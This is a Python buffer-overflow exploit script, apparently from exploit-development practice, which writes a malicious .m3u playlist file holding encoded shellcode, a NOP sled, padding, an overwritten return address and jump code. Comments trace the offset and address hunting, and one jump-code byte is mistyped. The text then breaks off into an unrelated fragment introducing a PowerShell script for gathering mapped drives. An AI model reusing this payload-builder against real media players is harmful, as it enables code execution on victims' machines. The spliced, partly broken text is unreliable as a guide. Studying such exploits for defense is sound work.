buf += "\xbb\x06\xf1\x81\xb7\xdd\xc3\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x53\x31\x58\x12\x83\xe8\xfc\x03\x5e\xff\x63"
buf += "\x42\xa2\x17\xe1\xad\x5a\xe8\x86\x24\xbf\xd9\x86\x53"
buf += "\xb4\x4a\x37\x17\x98\x66\xbc\x75\x08\xfc\xb0\x51\x3f"
buf += "\xb5\x7f\x84\x0e\x46\xd3\xf4\x11\xc4\x2e\x29\xf1\xf5"
buf += "\xe0\x3c\xf0\x32\x1c\xcc\xa0\xeb\x6a\x63\x54\x9f\x27"
buf += "\xb8\xdf\xd3\xa6\xb8\x3c\xa3\xc9\xe9\x93\xbf\x93\x29"
buf += "\x12\x13\xa8\x63\x0c\x70\x95\x3a\xa7\x42\x61\xbd\x61"
buf += "\x9b\x8a\x12\x4c\x13\x79\x6a\x89\x94\x62\x19\xe3\xe6"
buf += "\x1f\x1a\x30\x94\xfb\xaf\xa2\x3e\x8f\x08\x0e\xbe\x5c"
buf += "\xce\xc5\xcc\x29\x84\x81\xd0\xac\x49\xba\xed\x25\x6c"
buf += "\x6c\x64\x7d\x4b\xa8\x2c\x25\xf2\xe9\x88\x88\x0b\xe9"
buf += "\x72\x74\xae\x62\x9e\x61\xc3\x29\xf7\x46\xee\xd1\x07"
buf += "\xc1\x79\xa2\x35\x4e\xd2\x2c\x76\x07\xfc\xab\x79\x32"
buf += "\xb8\x23\x84\xbd\xb9\x6a\x43\xe9\xe9\x04\x62\x92\x61"
buf += "\xd4\x8b\x47\x1f\xdc\x2a\x38\x02\x21\x8c\xe8\x82\x89"
buf += "\x65\xe3\x0c\xf6\x96\x0c\xc7\x9f\x3f\xf1\xe8\x8e\xe3"
buf += "\x7c\x0e\xda\x0b\x29\x98\x72\xee\x0e\x11\xe5\x11\x65"
buf += "\x09\x81\x5a\x6f\x8e\xae\x5a\xa5\xb8\x38\xd1\xaa\x7c"
buf += "\x59\xe6\xe6\xd4\x0e\x71\x7c\xb5\x7d\xe3\x81\x9c\x15"
buf += "\x80\x10\x7b\xe5\xcf\x08\xd4\xb2\x98\xff\x2d\x56\x35"
buf += "\x59\x84\x44\xc4\x3f\xef\xcc\x13\xfc\xee\xcd\xd6\xb8"
buf += "\xd4\xdd\x2e\x40\x51\x89\xfe\x17\x0f\x67\xb9\xc1\xe1"
buf += "\xd1\x13\xbd\xab\xb5\xe2\x8d\x6b\xc3\xea\xdb\x1d\x2b"
buf += "\x5a\xb2\x5b\x54\x53\x52\x6c\x2d\x89\xc2\x93\xe4\x09"
buf += "\xf2\xd9\xa4\x38\x9b\x87\x3d\x79\xc6\x37\xe8\xbe\xff"
buf += "\xbb\x18\x3f\x04\xa3\x69\x3a\x40\x63\x82\x36\xd9\x06"
buf += "\xa4\xe5\xda\x02"

file = open("11.m3u", "w")

#pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

#junk = pattern
#junk += "\x41"*25059

# 4 - Script
# Doing a push return will take and push the address of the register on the stack
# Then return to the stack
# PUSH ESP
# RETN
# 0x0191cd65
#eip = "\x65\xcd\x91\x01"

# 5 - Script
# Placed a pattern of 1000 from metasploit
# Then found that the pattern starts 257 in on the pattern for the offset

junk = "A" * 250
junk += "\x90" * 50  # Placed some NOPs to slide to the shellcode verses guessing exactly
junk += buf  # Placed our shellcode at an offset of 300
junk += "A" * (26059 - len(junk))

#eip = "BBBB"
# Address for CALL ESP 0x5d091421   ## Worked
eip = "\x21\x14\x09\x5d"

junk += eip
#junk += "X" * 54  # Create our jumpcode
# add esp, 0x5e  (ESP + 94)
# add esp, 0x5e  (ESP + 94)
# add esp, 0x5e  (ESP + 94) - 282 Bytes after the current location of the stack pointer
# jmp esp

# https://defuse.ca/online-x86-assembler.htm
# Jump Code - "\x83\xC4\x5E\x83\xC4\x5E\x83\xC4\x5E\xFF\xE4"

junk += "X" * 4
junk += "\x83\xc4\x5e\x83\xc4\x5e\x83\c4\x5e\xff\xe4"
junk += "\x90" * 10

file.write(junk)
file.close()

# v1 Script
# Using a "call esp"

Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script...